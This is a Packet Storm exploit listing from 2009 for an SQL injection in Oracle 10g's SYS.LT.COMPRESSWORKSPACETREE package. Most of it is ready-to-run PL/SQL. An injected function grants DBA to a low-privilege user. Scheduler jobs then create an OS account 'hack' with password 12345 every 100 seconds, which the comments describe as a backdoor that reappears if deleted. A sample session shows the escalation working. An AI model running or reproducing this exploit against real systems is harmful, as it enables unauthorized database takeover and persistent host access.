Oracle 10g SYS.LT.COMPRESSWORKSPACETREE SQL Injection Exploit

2009-01-07T00:00:00
ID PACKETSTORM:73631
Type packetstorm
Reporter Sh2kerr
Modified 2009-01-07T00:00:00

Description

                                        
                                            `/*********************************************************/  
/*Oracle 10g SYS.LT.COMPRESSWORKSPACETREE SQL Injection Exploit**/  
/**grant DBA and create new OS user (using scheduller)***/  
/*********************************************************/  
/***********exploit grant DBA to scott********************/  
/***********and execute OS command "net user"*************/  
/***********using scheduler*******************************/  
/*********************************************************/  
/***********tested on oracle 10.1.0.5.0*******************/  
/*********************************************************/  
/*********************************************************/  
/* Date of Public EXPLOIT: January 6, 2009 */  
/* Written by: Alexandr "Sh2kerr" Polyakov */  
/* email: Alexandr.Polyakov@dsec.ru */  
/* site: http://www.dsecrg.ru */  
/* http://www.dsec.ru */  
/*********************************************************/  
/*Original Advisory: */  
/*Esteban Martinez Fayo [Team SHATTER ] */  
/*Date of Public Advisory: November 11, 2008 */  
/*http://www.appsecinc.com/resources/alerts/oracle/2008-10.shtml*/  
/*********************************************************/  
  
select * from user_role_privs;  
  
CREATE OR REPLACE FUNCTION Z return varchar2  
authid current_user as  
pragma autonomous_transaction;  
BEGIN  
EXECUTE IMMEDIATE 'GRANT DBA TO SCOTT';  
EXECUTE IMMEDIATE 'GRANT CREATE ANY JOB TO SCOTT';  
EXECUTE IMMEDIATE 'GRANT CREATE EXTERNAL JOB SCOTT';  
COMMIT;  
RETURN 'Z';  
END;  
/  
  
exec SYS.LT.CREATEWORKSPACE('sh2kerr'' and SCOTT.Z()=''Z');  
exec SYS.LT.COMPRESSWORKSPACETREE('sh2kerr'' and SCOTT.Z()=''Z');  
  
  
/* We create backdored OS user "hack" with password 12345 using External Job's */  
/* Note that in this method new user will be created every 100 seconds */  
/* so if administrator find it and will try to delete it */  
/* user hack will be created again. So it is also a simle backdoor */  
  
BEGIN  
DBMS_SCHEDULER.CREATE_PROGRAM (  
program_name=> 'MyCmd',  
program_type=> 'EXECUTABLE',  
program_action =>’cmd /c "net user hack 12345 /add"’,  
enabled=> TRUE);  
END;  
/  
  
BEGIN  
DBMS_SCHEDULER.CREATE_JOB (  
job_name=> 'extjobexec',  
program_name=> 'MyCmd',  
repeat_interval=> 'FREQ=SECONDLY;INTERVAL=100',  
enabled=> TRUE,  
comments=> 'create backdoor user every 100 seconds');  
END;  
/  
  
  
/* here we can paste any OS command for example create new user */  
  
exec dbms_scheduler.run_job('extjobexec');  
/  
  
select * from user_role_privs;  
  
  
  
  
  
  
  
  
  
  
  
  
  
  
  
---------------------------------------------------------------------------------  
-----------------------------EXAMPLE OF EXPLOITATION ----------------------------  
---------------------------------------------------------------------------------  
  
  
SQL> select * from user_role_privs;  
  
USERNAME GRANTED_ROLE ADM DEF OS_  
------------------------------ ------------------------------ --- --- ---  
OUTLN CONNECT NO YES NO  
OUTLN RESOURCE NO YES NO  
  
SQL> CREATE OR REPLACE FUNCTION X return varchar2  
2 authid current_user as  
3 pragma autonomous_transaction;  
4 BEGIN  
5 EXECUTE IMMEDIATE 'GRANT DBA TO OUTLN';  
6 COMMIT;  
7 RETURN 'x';  
8 END;  
9 /  
  
Function created.  
  
  
  
SQL> exec SYS.LT.CREATEWORKSPACE('zz'' and outln.X()=''x')  
  
PL/SQL procedure successfully completed.  
  
SQL> exec SYS.LT.REMOVEWORKSPACE('zz'' and outln.X()=''x')  
  
PL/SQL procedure successfully completed.  
  
SQL> select * from user_role_privs;  
  
USERNAME GRANTED_ROLE ADM DEF OS_  
------------------------------ ------------------------------ --- --- ---  
OUTLN CONNECT NO YES NO  
OUTLN DBA NO YES NO  
OUTLN RESOURCE NO YES NO  
  
SQL>  
`